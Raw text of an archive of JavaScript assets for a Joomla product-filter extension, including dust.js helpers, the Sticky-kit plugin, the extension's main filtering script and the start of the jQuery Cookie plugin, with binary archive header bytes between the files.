  } else {
    log(helperName, "No key specified", "WARN");
    return chunk;
  }

  type = params.type || selectState.type;

  key = coerce(context.resolve(key), type);
  value = coerce(context.resolve(params.value), type);

  if (test(key, value)) {
    // Once a truth test passes, put the select into "pending"
state. Now we can render the body of
    // the truth test (which may contain truth tests) without altering the
state of the select.
    if (!selectState.isPending) {
      willResolve = true;
      selectState.isPending = true;
    }
    if (body) {
      chunk = chunk.render(body, context);
    }
    if (willResolve) {
      selectState.isResolved = true;
    }
  } else if (skip) {
    chunk = chunk.render(skip, context);
  }
  return chunk;
}

function coerce(value, type) {
  if (type) {
    type = type.toLowerCase();
  }
  switch (type) {
    case 'number': return +value;
    case 'string': return String(value);
    case 'boolean':
      value = (value === 'false' ? false : value);
      return Boolean(value);
    case 'date': return new Date(value);
  }

  return value;
}

var helpers = {

  // Utility helping to resolve dust references in the given chunk
  // uses native Dust Context#resolve (available since Dust 2.6.2)
  "tap": function(input, chunk, context) {
    // deprecated for removal in 1.8
    _deprecated("tap");
    return context.resolve(input);
  },

  "sep": function(chunk, context, bodies) {
    var body = bodies.block;
    if (context.stack.index === context.stack.of - 1) {
      return chunk;
    }
    if (body) {
      return body(chunk, context);
    } else {
      return chunk;
    }
  },

  "first": function(chunk, context, bodies) {
    if (context.stack.index === 0) {
      return bodies.block(chunk, context);
    }
    return chunk;
  },

  "last": function(chunk, context, bodies) {
    if (context.stack.index === context.stack.of - 1) {
      return bodies.block(chunk, context);
    }
    return chunk;
  },

  /**
   * {@contextDump}
   * @param key {String} set to "full" to the full context stack,
otherwise the current context is dumped
   * @param to {String} set to "console" to log to console,
otherwise outputs to the chunk
   */
  "contextDump": function(chunk, context, bodies, params) {
    var to = context.resolve(params.to),
        key = context.resolve(params.key),
        target, output;
    switch(key) {
      case 'full':
        target = context.stack;
        break;
      default:
        target = context.stack.head;
    }
    output = JSON.stringify(target, jsonFilter, 2);
    switch(to) {
      case 'console':
        log('contextDump', output);
        break;
      default:
        output = output.replace(/</g, '\\u003c');
        chunk = chunk.write(output);
    }
    return chunk;
  },

  /**
   * {@math}
   * @param key first value
   * @param method {String} operation to perform
   * @param operand second value (not required for operations like `abs`)
   * @param round if truthy, round() the result
   */
  "math": function (chunk, context, bodies, params) {
    var key = params.key,
        method = params.method,
        operand = params.operand,
        round = params.round,
        output, state, x, len;

    if(!params.hasOwnProperty('key') || !params.method) {
      log("math", "`key` or `method` was not provided",
"ERROR");
      return chunk;
    }

    key = parseFloat(context.resolve(key));
    operand = parseFloat(context.resolve(operand));

    switch(method) {
      case "mod":
        if(operand === 0) {
          log("math", "Division by 0",
"ERROR");
        }
        output = key % operand;
        break;
      case "add":
        output = key + operand;
        break;
      case "subtract":
        output = key - operand;
        break;
      case "multiply":
        output = key * operand;
        break;
      case "divide":
        if(operand === 0) {
          log("math", "Division by 0",
"ERROR");
        }
        output = key / operand;
        break;
      case "ceil":
      case "floor":
      case "round":
      case "abs":
        output = Math[method](key);
        break;
      case "toint":
        output = parseInt(key, 10);
        break;
      default:
        log("math", "Method `" + method + "` is
not supported", "ERROR");
    }

    if (typeof output !== 'undefined') {
      if (round) {
        output = Math.round(output);
      }
      if (bodies && bodies.block) {
        context = addSelectState(context, { key: output });
        chunk = chunk.render(bodies.block, context);
        resolveSelectDeferreds(getSelectState(context));
      } else {
        chunk = chunk.write(output);
      }
    }

    return chunk;
  },

  /**
   * {@select}
   * Groups a set of truth tests and outputs the first one that passes.
   * Also contains {@any} and {@none} blocks.
   * @param key a value or reference to use as the left-hand side of
comparisons
   * @param type coerce all truth test keys without an explicit type to
this type
   */
  "select": function(chunk, context, bodies, params) {
    var body = bodies.block,
        state = {};

    if (params.hasOwnProperty('key')) {
      state.key = context.resolve(params.key);
    }
    if (params.hasOwnProperty('type')) {
      state.type = params.type;
    }

    if (body) {
      context = addSelectState(context, state);
      chunk = chunk.render(body, context);
      resolveSelectDeferreds(getSelectState(context));
    } else {
      log("select", "Missing body block",
"WARN");
    }
    return chunk;
  },

  /**
   * Truth test helpers
   * @param key a value or reference to use as the left-hand side of
comparisons
   * @param value a value or reference to use as the right-hand side of
comparisons
   * @param type if specified, `key` and `value` will be forcibly cast to
this type
   */
  "eq": truthTest('eq', function(left, right) {
    return left === right;
  }),
  "ne": truthTest('ne', function(left, right) {
    return left !== right;
  }),
  "lt": truthTest('lt', function(left, right) {
    return left < right;
  }),
  "lte": truthTest('lte', function(left, right) {
    return left <= right;
  }),
  "gt": truthTest('gt', function(left, right) {
    return left > right;
  }),
  "gte": truthTest('gte', function(left, right) {
    return left >= right;
  }),

  /**
   * {@any}
   * Outputs as long as at least one truth test inside a {@select} has
passed.
   * Must be contained inside a {@select} block.
   * The passing truth test can be before or after the {@any} block.
   */
  "any": function(chunk, context, bodies, params) {
    var selectState = getSelectState(context);

    if(!selectState) {
      log("any", "Must be used inside a {@select}
block", "ERROR");
    } else {
      if(selectState.isDeferredComplete) {
        log("any", "Must not be nested inside {@any} or
{@none} block", "ERROR");
      } else {
        chunk = chunk.map(function(chunk) {
          selectState.deferreds.push(function() {
            if(selectState.isResolved) {
              chunk = chunk.render(bodies.block, context);
            }
            chunk.end();
          });
        });
      }
    }
    return chunk;
  },

  /**
   * {@none}
   * Outputs if no truth tests inside a {@select} pass.
   * Must be contained inside a {@select} block.
   * The position of the helper does not matter.
   */
  "none": function(chunk, context, bodies, params) {
    var selectState = getSelectState(context);

    if(!selectState) {
      log("none", "Must be used inside a {@select}
block", "ERROR");
    } else {
      if(selectState.isDeferredComplete) {
        log("none", "Must not be nested inside {@any} or
{@none} block", "ERROR");
      } else {
        chunk = chunk.map(function(chunk) {
          selectState.deferreds.push(function() {
            if(!selectState.isResolved) {
              chunk = chunk.render(bodies.block, context);
            }
            chunk.end();
          });
        });
      }
    }
    return chunk;
  },

  /**
  * {@size}
  * Write the size of the target to the chunk
  * Falsy values and true have size 0
  * Numbers are returned as-is
  * Arrays and Strings have size equal to their length
  * Objects have size equal to the number of keys they contain
  * Dust bodies are evaluated and the length of the string is returned
  * Functions are evaluated and the length of their return value is
evaluated
  * @param key find the size of this value or reference
  */
  "size": function(chunk, context, bodies, params) {
    var key = params.key,
        value, k;

    key = context.resolve(params.key);
    if (!key || key === true) {
      value = 0;
    } else if(dust.isArray(key)) {
      value = key.length;
    } else if (!isNaN(parseFloat(key)) && isFinite(key)) {
      value = key;
    } else if (typeof key === "object") {
      value = 0;
      for(k in key){
        if(key.hasOwnProperty(k)){
          value++;
        }
      }
    } else {
      value = (key + '').length;
    }
    return chunk.write(value);
  }

};

for(var key in helpers) {
  dust.helpers[key] = helpers[key];
}

return dust;

}));
PK�v�[�_+��assets/js/sticky-kit.min.jsnu�[���/**
@license Sticky-kit v1.1.3 | MIT | Leaf Corcoran 2015 | http://leafo.net
 */

(function(){var
t,i;t=window.jQuery,i=t(window),t.fn.stick_in_parent=function(o){var
e,s,r,n,l,a,c,p,d,u,f,g,h;for(null==o&&(o={}),h=o.sticky_class,a=o.inner_scrolling,g=o.recalc_every,f=o.parent,d=o.offset_top,p=o.spacer,r=o.bottoming,null==d&&(d=0),null==f&&(f=void
0),null==a&&(a=!0),null==h&&(h="is_stuck"),e=t(document),null==r&&(r=!0),u=function(t){var
i,o,e;return
window.getComputedStyle?(i=t[0],o=window.getComputedStyle(t[0]),e=parseFloat(o.getPropertyValue("width"))+parseFloat(o.getPropertyValue("margin-left"))+parseFloat(o.getPropertyValue("margin-right")),"border-box"!==o.getPropertyValue("box-sizing")&&(e+=parseFloat(o.getPropertyValue("border-left-width"))+parseFloat(o.getPropertyValue("border-right-width"))+parseFloat(o.getPropertyValue("padding-left"))+parseFloat(o.getPropertyValue("padding-right"))),e):t.outerWidth(!0)},n=function(o,s,n,l,c,k,y,m){var
v,b,w,_,x,P,V,F,C,z,I,A;if(!o.data("sticky_kit")){if(o.data("sticky_kit",!0),x=e.height(),V=o.parent(),null!=f&&(V=V.closest(f)),!V.length)throw"failed
to find stick parent";return
w=!1,v=!1,I=null!=p?p&&o.closest(p):t("<div
/>"),I&&I.css("position",o.css("position")),F=function(){var
t,i,r;if(!m)return
x=e.height(),t=parseInt(V.css("border-top-width"),10),i=parseInt(V.css("padding-top"),10),s=parseInt(V.css("padding-bottom"),10),n=V.offset().top+t+i,l=V.height(),w&&(w=!1,v=!1,null==p&&(o.insertAfter(I),I.detach()),o.css({position:"",top:"",width:"",bottom:""}).removeClass(h),r=!0),c=o.offset().top-(parseInt(o.css("margin-top"),10)||0)-d,k=o.outerHeight(!0),y=o.css("float"),I&&I.css({width:u(o),height:k,display:o.css("display"),"vertical-align":o.css("vertical-align"),"float":y}),r?A():void
0},F(),_=void 0,P=d,z=g,A=function(){var t,u,f,b,C,A;if(!m)return
f=!1,null!=z&&(z-=1,0>=z&&(z=g,F(),f=!0)),f||e.height()===x||(F(),f=!0),b=i.scrollTop(),null!=_&&(u=b-_),_=b,w?(r&&(C=b+k+P>l+n,v&&!C&&(v=!1,o.css({position:"fixed",bottom:"",top:P}).trigger("sticky_kit:unbottom"))),c>b&&(w=!1,P=d,null==p&&(("left"===y||"right"===y)&&o.insertAfter(I),I.detach()),t={position:"",width:"",top:""},o.css(t).removeClass(h).trigger("sticky_kit:unstick")),a&&(A=i.height(),k+d>A&&(v||(P-=u,P=Math.max(A-k,P),P=Math.min(d,P),w&&o.css({top:P+"px"}))))):b>c&&(w=!0,t={position:"fixed",top:P},t.width="border-box"===o.css("box-sizing")?o.outerWidth()+"px":o.width()+"px",o.css(t).addClass(h),null==p&&(o.after(I),("left"===y||"right"===y)&&I.append(o)),o.trigger("sticky_kit:stick")),w&&r&&(null==C&&(C=b+k+P>l+n),!v&&C)?(v=!0,"static"===V.css("position")&&V.css({position:"relative"}),o.css({position:"absolute",bottom:s,top:"auto"}).trigger("sticky_kit:bottom")):void
0},C=function(){return F(),A()},b=function(){return
m=!0,i.off("touchmove",A),i.off("scroll",A),i.off("resize",C),t(document.body).off("sticky_kit:recalc",C),o.off("sticky_kit:detach",b),o.removeData("sticky_kit"),o.css({position:"",bottom:"",top:"",width:""}),V.position("position",""),w?(null==p&&(("left"===y||"right"===y)&&o.insertAfter(I),I.remove()),o.removeClass(h)):void
0},i.on("touchmove",A),i.on("scroll",A),i.on("resize",C),t(document.body).on("sticky_kit:recalc",C),o.on("sticky_kit:detach",b),setTimeout(A,0)}},l=0,c=this.length;c>l;l++)s=this[l],n(t(s));return
this}}).call(this);PK�v�[����J�Jassets/js/main.jsnu�[���//
Minified version of isMobile included in the HTML since it's small
!function (a) { var b = /iPhone/i, c = /iPod/i, d = /iPad/i, e =
/(?=.*\bAndroid\b)(?=.*\bMobile\b)/i, f = /Android/i, g =
/(?=.*\bAndroid\b)(?=.*\bSD4930UR\b)/i, h =
/(?=.*\bAndroid\b)(?=.*\b(?:KFOT|KFTT|KFJWI|KFJWA|KFSOWI|KFTHWI|KFTHWA|KFAPWI|KFAPWA|KFARWI|KFASWI|KFSAWI|KFSAWA)\b)/i,
i = /IEMobile/i, j = /(?=.*\bWindows\b)(?=.*\bARM\b)/i, k = /BlackBerry/i,
l = /BB10/i, m = /Opera Mini/i, n = /(CriOS|Chrome)(?=.*\bMobile\b)/i, o =
/(?=.*\bFirefox\b)(?=.*\bMobile\b)/i, p = new RegExp("(?:Nexus
7|BNTV250|Kindle Fire|Silk|GT-P1000)", "i"), q = function
(a, b) { return a.test(b) }, r = function (a) { var r = a ||
navigator.userAgent, s = r.split("[FBAN"); return
"undefined" != typeof s[1] && (r = s[0]), s =
r.split("Twitter"), "undefined" != typeof s[1]
&& (r = s[0]), this.apple = { phone: q(b, r), ipod: q(c, r),
tablet: !q(b, r) && q(d, r), device: q(b, r) || q(c, r) || q(d, r)
}, this.amazon = { phone: q(g, r), tablet: !q(g, r) && q(h, r),
device: q(g, r) || q(h, r) }, this.android = { phone: q(g, r) || q(e, r),
tablet: !q(g, r) && !q(e, r) && (q(h, r) || q(f, r)),
device: q(g, r) || q(h, r) || q(e, r) || q(f, r) }, this.windows = { phone:
q(i, r), tablet: q(j, r), device: q(i, r) || q(j, r) }, this.other = {
blackberry: q(k, r), blackberry10: q(l, r), opera: q(m, r), firefox: q(o,
r), chrome: q(n, r), device: q(k, r) || q(l, r) || q(m, r) || q(o, r) ||
q(n, r) }, this.seven_inch = q(p, r), this.any = this.apple.device ||
this.android.device || this.windows.device || this.other.device ||
this.seven_inch, this.phone = this.apple.phone || this.android.phone ||
this.windows.phone, this.tablet = this.apple.tablet || this.android.tablet
|| this.windows.tablet, "undefined" == typeof window ? this :
void 0 }, s = function () { var a = new r; return a.Class = r, a };
"undefined" != typeof module && module.exports &&
"undefined" == typeof window ? module.exports = r :
"undefined" != typeof module && module.exports &&
"undefined" != typeof window ? module.exports = s() :
"function" == typeof define && define.amd ?
define("isMobile", [], a.isMobile = s()) : a.isMobile = s()
}(this);
function utf8_to_b64(str) {
	return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function
(match, p1) {
		return String.fromCharCode('0x' + p1);
	}));
}
function exeUTF8(str) {
	$str = '';
	for (var i = 0; i < str.length; i++) {
		if (str.charCodeAt(i) > 127) $str += utf8_to_b64(str[i]);
		else $str += (str[i]);
	}
	return $str.replace(/\=/g, "");
}

var JAnameColor = { "aliceblue": "#f0f8ff",
"antiquewhite": "#faebd7", "aqua":
"#00ffff", "aquamarine": "#7fffd4",
"azure": "#f0ffff", "beige":
"#f5f5dc", "bisque": "#ffe4c4",
"black": "#000000", "blanchedalmond":
"#ffebcd", "blue": "#0000ff",
"blueviolet": "#8a2be2", "brown":
"#a52a2a", "burlywood": "#deb887",
"cadetblue": "#5f9ea0", "chartreuse":
"#7fff00", "chocolate": "#d2691e",
"coral": "#ff7f50", "cornflowerblue":
"#6495ed", "cornsilk": "#fff8dc",
"crimson": "#dc143c", "cyan":
"#00ffff", "darkblue": "#00008b",
"darkcyan": "#008b8b", "darkgoldenrod":
"#b8860b", "darkgray": "#a9a9a9",
"darkgrey": "#a9a9a9", "darkgreen":
"#006400", "darkkhaki": "#bdb76b",
"darkmagenta": "#8b008b", "darkolivegreen":
"#556b2f", "darkorange": "#ff8c00",
"darkorchid": "#9932cc", "darkred":
"#8b0000", "darksalmon": "#e9967a",
"darkseagreen": "#8fbc8f", "darkslateblue":
"#483d8b", "darkslategray": "#2f4f4f",
"darkslategrey": "#2f4f4f", "darkturquoise":
"#00ced1", "darkviolet": "#9400d3",
"deeppink": "#ff1493", "deepskyblue":
"#00bfff", "dimgray": "#696969",
"dimgrey": "#696969", "dodgerblue":
"#1e90ff", "firebrick": "#b22222",
"floralwhite": "#fffaf0", "forestgreen":
"#228b22", "fuchsia": "#ff00ff",
"gainsboro": "#dcdcdc", "ghostwhite":
"#f8f8ff", "gold": "#ffd700",
"goldenrod": "#daa520", "gray":
"#808080", "grey": "#808080",
"green": "#008000", "greenyellow":
"#adff2f", "honeydew": "#f0fff0",
"hotpink": "#ff69b4", "indianred ":
"#cd5c5c", "indigo  ": "#4b0082",
"ivory": "#fffff0", "khaki":
"#f0e68c", "lavender": "#e6e6fa",
"lavenderblush": "#fff0f5", "lawngreen":
"#7cfc00", "lemonchiffon": "#fffacd",
"lightblue": "#add8e6", "lightcoral":
"#f08080", "lightcyan": "#e0ffff",
"lightgoldenrodyellow": "#fafad2",
"lightgray": "#d3d3d3", "lightgrey":
"#d3d3d3", "lightgreen": "#90ee90",
"lightpink": "#ffb6c1", "lightsalmon":
"#ffa07a", "lightseagreen": "#20b2aa",
"lightskyblue": "#87cefa", "lightslategray":
"#778899", "lightslategrey": "#778899",
"lightsteelblue": "#b0c4de", "lightyellow":
"#ffffe0", "lime": "#00ff00",
"limegreen": "#32cd32", "linen":
"#faf0e6", "magenta": "#ff00ff",
"maroon": "#800000", "mediumaquamarine":
"#66cdaa", "mediumblue": "#0000cd",
"mediumorchid": "#ba55d3", "mediumpurple":
"#9370db", "mediumseagreen": "#3cb371",
"mediumslateblue": "#7b68ee",
"mediumspringgreen": "#00fa9a",
"mediumturquoise": "#48d1cc",
"mediumvioletred": "#c71585", "midnightblue":
"#191970", "mintcream": "#f5fffa",
"mistyrose": "#ffe4e1", "moccasin":
"#ffe4b5", "navajowhite": "#ffdead",
"navy": "#000080", "oldlace":
"#fdf5e6", "olive": "#808000",
"olivedrab": "#6b8e23", "orange":
"#ffa500", "orangered": "#ff4500",
"orchid": "#da70d6", "palegoldenrod":
"#eee8aa", "palegreen": "#98fb98",
"paleturquoise": "#afeeee", "palevioletred":
"#db7093", "papayawhip": "#ffefd5",
"peachpuff": "#ffdab9", "peru":
"#cd853f", "pink": "#ffc0cb",
"plum": "#dda0dd", "powderblue":
"#b0e0e6", "purple": "#800080",
"rebeccapurple": "#663399", "red":
"#ff0000", "rosybrown": "#bc8f8f",
"royalblue": "#4169e1", "saddlebrown":
"#8b4513", "salmon": "#fa8072",
"sandybrown": "#f4a460", "seagreen":
"#2e8b57", "seashell": "#fff5ee",
"sienna": "#a0522d", "silver":
"#c0c0c0", "skyblue": "#87ceeb",
"slateblue": "#6a5acd", "slategray":
"#708090", "slategrey": "#708090",
"snow": "#fffafa", "springgreen":
"#00ff7f", "steelblue": "#4682b4",
"tan": "#d2b48c", "teal":
"#008080", "thistle": "#d8bfd8",
"tomato": "#ff6347", "turquoise":
"#40e0d0", "violet": "#ee82ee",
"wheat": "#f5deb3", "white":
"#ffffff", "whitesmoke": "#f5f5f5",
"yellow": "#ffff00", "yellowgreen":
"#9acd32" };

(function ($) {

	// Upper first letter
	String.prototype.ucfirst = function () {
		return this.charAt(0).toUpperCase() + this.slice(1).toLowerCase();
	}    // Upper first letter
	String.prototype.slugify = function () {
		return this.toString().toLowerCase()
			.replace(/\s+/g, '-')           // Replace spaces with -
			.replace(/[^\w\-]+/g, '')       // Remove all non-word chars
			.replace(/\-\-+/g, '-')         // Replace multiple - with
single -
			.replace(/^-+/, '')             // Trim - from start of text
			.replace(/-+$/, '');            // Trim - from end of text
	}

	// Register iter helper for dustjs
	// Make a loop for object properties
	dust.helpers.iter = function (chunk, context, bodies) {
		var items = context.current(), //this gets the current context hash from
the Context object (which has a bunch of other attributes defined in it)
			ctx;

		for (var key in items) {
			ctx = { "key": key, "value": items[key] };
			chunk = chunk.render(bodies.block, context.push(ctx));
		}

		return chunk;
	}

  dust.helpers.showClearAll = function(chunk, context){
    if (Object.keys(context.stack.head).length !== 0){
      return true;
    }
    return false;
  }

	dust.helpers.info = function (chunk, context, bodies) {
		var item = context.current();
		var obj = item.attr;
		if (typeof ja_layout_addition === 'string') {
			$ja_layout_add = ja_layout_addition.split(',');
			for (var $i = 0; $i < $ja_layout_add.length; $i++) {
				// for the key "key" in ctx variable. include if you want 2
columns in layout.
				var $jakey = $ja_layout_add[$i].replace('attr.',
'').replace('.value', '');
				var render_class = "";
				var label_render_class = "";

				// this line support for custom field class
				// must override then render in template first to use.
				if (typeof ja_customfield_class_render !== "undefined") {
					if (typeof ja_customfield_class_render[$jakey] !==
"undefined") {
						if (typeof ja_customfield_class_render[$jakey]['params']
!== "undefined") {
							if (typeof
ja_customfield_class_render[$jakey]['params']['render_class']
!== "undefined")
								render_class =
ja_customfield_class_render[$jakey]['params']['render_class'];
							if (typeof
ja_customfield_class_render[$jakey]['params']['label_render_class']
!== "undefined")
								label_render_class =
ja_customfield_class_render[$jakey]['params']['label_render_class'];
						}
					}
				}

				// custom layout input for thumb|desc. put something to
"value" if all layout template same markup html.
				if ($ja_layout_add[$i] == 'thumb') {
					var ctx = { "_class": $jakey, "value": item.desc
== undefined ? '' : item.desc, "render_class":
render_class, "label_render_class": label_render_class };
					if (typeof ja_layout_columns[$ja_layout_add[$i]] !=
'undefined' && ja_layout_columns[$ja_layout_add[$i]] ==
1)
						ctx.key = jamegafilter_thumb;
					chunk = chunk.render(bodies.block, context.push(ctx));
					continue;
				}
				if ($ja_layout_add[$i] == 'desc') {
					var ctx = { "_class": $jakey, "value": item.desc
== undefined ? '' : item.desc, "render_class":
render_class, "label_render_class": label_render_class };
					if (typeof ja_layout_columns[$ja_layout_add[$i]] !=
'undefined' && ja_layout_columns[$ja_layout_add[$i]] ==
1)
						ctx.key = jamegafilter_desc;
					chunk = chunk.render(bodies.block, context.push(ctx));
					continue;
				}
				if ($ja_layout_add[$i] == 'baseprice') {
					var ctx = { "_class": $jakey, "value":
item.baseprice == undefined ? '' : item.baseprice,
"render_class": render_class, "label_render_class":
label_render_class };
					if (typeof ja_layout_columns[$ja_layout_add[$i]] !=
'undefined' && ja_layout_columns[$ja_layout_add[$i]] ==
1)
						ctx.key = jamegafilter_baseprice;
					chunk = chunk.render(bodies.block, context.push(ctx));
					continue;
				}

				for (var key in obj) {
					var value = obj[key];
					if (key !== $jakey) continue;
					if (typeof value.type === 'undefined') continue;
					var _value;
					var _val_class = "";

					// custom layout input for name. put something to "value" if
all layout template same markup html.
					if ($ja_layout_add[$i] == 'name') {
						var ctx = { "_class": $jakey, "value":
value.frontend_value, "render_class": render_class,
"label_render_class": label_render_class };
						if (typeof ja_layout_columns[$ja_layout_add[$i]] !=
'undefined' && ja_layout_columns[$ja_layout_add[$i]] ==
1) ctx.key = value.title;
						chunk = chunk.render(bodies.block, context.push(ctx));
						continue;
					}

					if (dust.isArray(value.frontend_value)) {

						if (value.type == 'date') {
							_date = new Date(value.frontend_value[0] * 1000);
							_value = _date.getFullYear() + '-' + (_date.getMonth() +
1) + '-' + _date.getDate();
						} else if (value.type == 'color') {
							_value = [];
							for (var i = 0; i < value.frontend_value.length; i++) {
								var color = value.frontend_value[i].toLowerCase();
								if (JAnameColor.hasOwnProperty(color)) {
									color = JAnameColor[color];
								}
								var span = '<span class="color-item-bg"
style="background-color: ' + color + '; width: 24px; height:
20px; display: inline-block; box-shadow: 0 0 5px rgba(0, 0, 0,
0.65)"></span></span>';
								_value.push(span);
							}
							_value = _value.join(' ');
						} else if (value.type == 'media') {
							_value = [];
							for (var i = 0; i < value.frontend_value.length; i++) {
								if (/^(http|https):\/\//.test(value.frontend_value[i])) {
									_value.push('<img src="'+
value.frontend_value[i] + '" />');
								} else {
									_value.push('<img src="' + JABaseUrl +
'/' + value.frontend_value[i] + '" />');
								}
							}
							_value = _value.join(' ');
						} else {
							// make sure the replace do not replace other value.
							// only apply for category. we need to clear the category tree.
							_value = [];
							for (var i = 0; i < value.frontend_value.length; i++) {
								_value.push(value.frontend_value[i].replace(/(.*?)\&raquo\; /g,
'').replace(/(.*?)» /g, ''));
							}
							_value = _value.join(', ');
							if (value['value'] &&
value['value'].length === 1) {
								_val_class = value['value'].join(" "); //
support for something like badge icon.
							}

							_val_class = _val_class.replace(/[0-9 ]+/, "");
						}
					} else {
						if (key == 'rating') {
							_value = [
								'<div class="rating-summary">',
								'<div title="{rating} out of 5"
class="rating-result">',
								'<span style="width:' + value.frontend_value +
'%"></span>',
								'</div>',
								'</div>'
							].join('');
						} else {
							_value = value.frontend_value;
						}

					}
					// include "key" if 2 columns.
					var ctx = {
						"_class": $jakey,
						"value": _value,
						"val_class": _val_class,
						"render_class": render_class,
						"label_render_class": label_render_class
					};

					if (typeof ja_layout_columns[$ja_layout_add[$i]] !==
'undefined' && ja_layout_columns[$ja_layout_add[$i]] ==
1) {
						ctx.key = value.title;
					}

					chunk = chunk.render(bodies.block, context.push(ctx));
				}
			}
		} else {

		}

		return chunk;
	};
	// if helper
	dust.helpers.if = function (chunk, context, bodies, params) {
		if (!params.value || params.value == params.is) {
			chunk = chunk.render(bodies.block, context);
		} else if (bodies.else) {
			chunk = chunk.render(bodies.else, context);
		}
		return chunk
	}
	
	// truncate text
	dust.helpers.Truncate = function(chunk, context, bodies, params){
		var data = dust.helpers.tap(params.data, chunk, context);
		var length = dust.helpers.tap(params.length, chunk, context);
		return chunk.write(data.substr(0, length));
	}
	
	// translate helper
	dust.helpers.__ = function (chunk, context, bodies, params) {
		chunk.write($.mage.__(params.t));
		return chunk
	}
	dust.filters.__ = function (value) {
		return $.mage.__(value);
	};

	var UBLN = {}, lnmain, lnfilter, lntoolbar, lnselected;

	UBLN.main = function (config) {
		// create main item
		lnmain = new LNBase({
			template: 'product-list',
			class: 'lnfilter-wrapper',
			container: '.main-content',
			itemWrapper: '.product-items',
			itemClass: 'ln-item',
			autopage: config.autopage,
			afterRender: function () {
				lntoolbar.render();
			},
			afterUpdateRender: function () {
				// update toolbar
				lntoolbar.updateRender();
				if (lnfilter.options.sticky) {
					lnfilter.sticky()
				}

			}
		});
		lnfilter = new LNFilter({
			container: '.sidebar-content',
			sticky: config.sticky,
			afterRender: function () {
				lnselected.render();
				if (lntoolbar.rendered) UBLN.load();
			}
		});
		
		lnselected = new LNSelected({
			container: '.filter-values'
		});
		lntoolbar = new LNToolbar({
			container: '.toolbar-wrapper',
			config: config,
			afterRender: function () {
				if (lnfilter.rendered) UBLN.load();
			}
		});
		// default items per page
		lnmain.itemPerPage = lntoolbar.itemPerPage;
		lnfilter.addItems(lnmain);
		lnfilter.addFilterResult(lnselected);

		lntoolbar.addItems(lnmain);

		lnmain.render();

		// global for debug
		$.lnmain = lnmain;
		$.lnfilter = lnfilter;
		$.lnselected = lnselected;
		var progessBar = [
			'<div id="mg-myProgress">',
			'<div id="mg-loader"></div>',
			'<div id="mg-percentBar">',
			Joomla.JText._('COM_JAMEGAFILTER_LOADING') + ' <span
id="mg-perComplete"></span>',
			'</div>',
			'<div id="mg-myBar"></div>',
			'</div>'
		].join('');
		lnmain.$wrapper.append(progessBar);
		$('.ja-megafilter-wrap').addClass('mg-loading_layer');

		if (config.dataUrl) {
			$.ajax({
				xhr: function () {
					var xhr = new window.XMLHttpRequest();

					// Download progress
					xhr.addEventListener("progress", function (evt) {
						if (evt.lengthComputable) {
							var percentComplete = Math.round(evt.loaded / evt.total * 100);
							// Do something with download progress
							lnmain.$wrapper.find('#mg-myBar').css('width',
percentComplete + '%');
							lnmain.$wrapper.find('#mg-perComplete').text(percentComplete
+ '%');
						}
					}, false);

					return xhr;
				},
				type: 'GET',
				url: config.dataUrl,
				dataType: 'json',
				data: {},
				success: function (data) {
					lnmain.$wrapper.find('#mg-myProgress').remove();
					$('.ja-megafilter-wrap').removeClass('mg-loading_layer');
					var ids = Object.keys(data);
					if (!ids.length) return;
					for (var id in data) {
						if (afterGetData(data[id])) {
							continue;
						}

						var itemdata = data[id],
							item = new LNItem({
								template: 'product-item'
							});

						if (itemdata.url) {
							itemdata.url = Joomla.getOptions('system.paths').root +
itemdata.url;
						}

						if (itemdata.url_download) {
							itemdata.url_download =
Joomla.getOptions('system.paths').root + itemdata.url_download;
						}

						item.setData(itemdata);
						lnmain.addItem(item, 'k' + itemdata.id);
					}

					// Build filter list
					if ($.isArray(config.fields)) {
						config.fields.forEach(function (field) {
							var type = field.type.ucfirst();
							if (field.field == 'title') type = 'Value';
							var func = 'addFilter' + type;

							if (lnfilter[func]) {
								lnfilter[func](field);
							}
						})
					}

					lnselected.setFilter(lnfilter);

					// update render
					lnfilter.updateFilter().render();

					// add effect toggle filter on touch device.
					let jabackdrop = jQuery('.sidebar-toggle-backdrop');
					// if the layout contain the div with class. the backdrop will show
up.
					// the style follow up in template. this is sample style. edit if
need.
					jabackdrop.css({
						'width': '100%',
						'position': 'fixed',
						'height': '100%',
						'top': 0,
						'left': 0,
						'z-index': 101,
						'background': 'black',
						'opacity': 0.5,
						'display': 'none'
					});
					$('.sidebar-toggle').off().on('click', function ()
{
						$('.ja-mg-sidebar').toggleClass('open');
						if ($('.ja-mg-sidebar').hasClass('open')) {
							jabackdrop.off().on('click', function () {
								$('.ja-mg-sidebar').toggleClass('open');
								$(this).fadeOut();
							});
							jabackdrop.fadeIn();
						} else {
							jabackdrop.fadeOut();
						}
					});

					MegaFilterCallback();
				}
			});
		}

		// free object
		$(window).on('unload', function () {
			lnfilter = null;
			lnmain = null;
			lntoolbar = null;
		})
	};


	UBLN.load = function () {
		// handle first visit, reselect
		var qs = lnmain.getQS().qs,
			page = qs.page ? qs.page : 1;

		lnfilter.page = page;
		lnfilter.load();
		if (!lnmain.matchedIds.length) {
			lnmain.setMatchedItems(Object.keys(lnmain.items));
		}
		lntoolbar.load();
		lnmain.updateRender();
	}


	// reinit quickview
	$(document).on('afterUpdateRender', function (e) {
		if (e.lntarget == lnmain) {
			// scroll to top
			if (typeof MegaFilterCallback === 'function') {
				MegaFilterCallback();
			}
		}
	})

	$(document).on('afterAutoPage', function (e) {
		if (typeof afterAutoPage === 'function') {
			afterAutoPage();
		}

	})

	window.UBLN = UBLN;
})(jQuery);PK�v�[�6DDassets/js/jquery.cookie.jsnu�[���/*!
 * jQuery Cookie Plugin v1.4.1
 * https://github.com/carhartl/jquery-cookie
 *
 * Copyright 2006, 2014 Klaus Hartl
 * Released under the MIT license
 */
(function (factory) {
	if (typeof define === 'function' && define.amd) {
		// AMD (Register as an anonymous module)
		define(['jquery'], factory);
	} else if (typeof exports === 'object') {
		// Node/CommonJS
		module.exports = factory(require('jquery'));
	} else {
		// Browser globals
		factory(jQuery);
	}
}(function ($) {

	var pluses = /\+/g;

	function encode(s) {
		return config.raw ? s : encodeURIComponent(s);
	}

	function decode(s) {
		return config.raw ? s : decodeURIComponent(s);
	}

	function stringifyCookieValue(value) {
		return encode(config.json ? JSON.stringify(value) : String(value));
	}

	function parseCookieValue(s) {
		if (s.indexOf('"') === 0) {
			// This is a quoted cookie as according to RFC2068, unescape...
			s = s.slice(1, -1).replace(/\\"/g,
'"').replace(/\\\\/g, '\\');
		}

		try {
			// Replace server-side written pluses with spaces.
			// If we can't decode the cookie, ignore it, it's unusable.
			// If we can't parse the cookie, ignore it, it's unusable.
			s = decodeURIComponent(s.replace(pluses, ' '));
			return config.json ? JSON.parse(s) : s;
